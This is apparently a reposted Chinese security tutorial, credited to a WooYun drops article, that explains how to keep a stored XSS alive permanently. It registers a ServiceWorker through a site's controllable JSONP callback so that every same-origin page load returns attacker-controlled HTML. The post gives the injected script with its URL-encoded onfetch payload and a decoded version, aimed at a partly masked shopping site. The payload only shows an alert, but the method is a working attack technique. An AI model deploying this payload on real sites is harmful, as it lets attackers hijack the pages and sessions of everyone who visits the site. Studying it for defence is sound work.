A-A+
ServiceWorker 让你的XSS永久在线
这种方法只能在电脑上利用chrome等浏览器才可以,而且对方网站必须是https的。
但是需要有两个前提条件。首先这个域名必须存在XSS,其次这个域名必须有可以控制输出的jsonp。
假设https://shoppingxxx.sxxxxgxxx.com/ 某处有储存XSS
而且这个网站下面还有一个jsonp接口,假设是https://shoppingxxxx.sxxxxgxxx.com/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=jsonp5111
既然满足了这两个条件那就可以喽。
首先在储存XSS的地方X如 如下代码:
1 2 3 4 5 6 7 | <script> navigator.serviceWorker.register("/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch%3Dfunction(e)%7B%0Ae.respondWith(new%20Response('%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'%2C%7Bheaders%3A%20%7B'Content-Type'%3A'text%2Fhtml'%7D%7D))%0A%7D%2F%2F").then(function(registration) { console.log('ServiceWorker registration successful with scope: ', registration.scope); }).catch(function(err) { console.log('ServiceWorker registration failed: ', err); }); </script> |
这里相信大家已经看到了。上面加载了一个代码,注意
1 2 3 4 | //解码后是下面的样子 /app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch=function(e){ e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}})) }// |
最后只要管理员或者用户访问了带有储存XSS的页面地址,那么恶意的代码就会类似缓存在浏览器,浏览任何同域下页面都会中招执行恶意的JS代码。
文章来源:http://www.moxia.org/wooyun/static/drops/web-10798.html
布施恩德可便相知重
微信扫一扫打赏
支付宝扫一扫打赏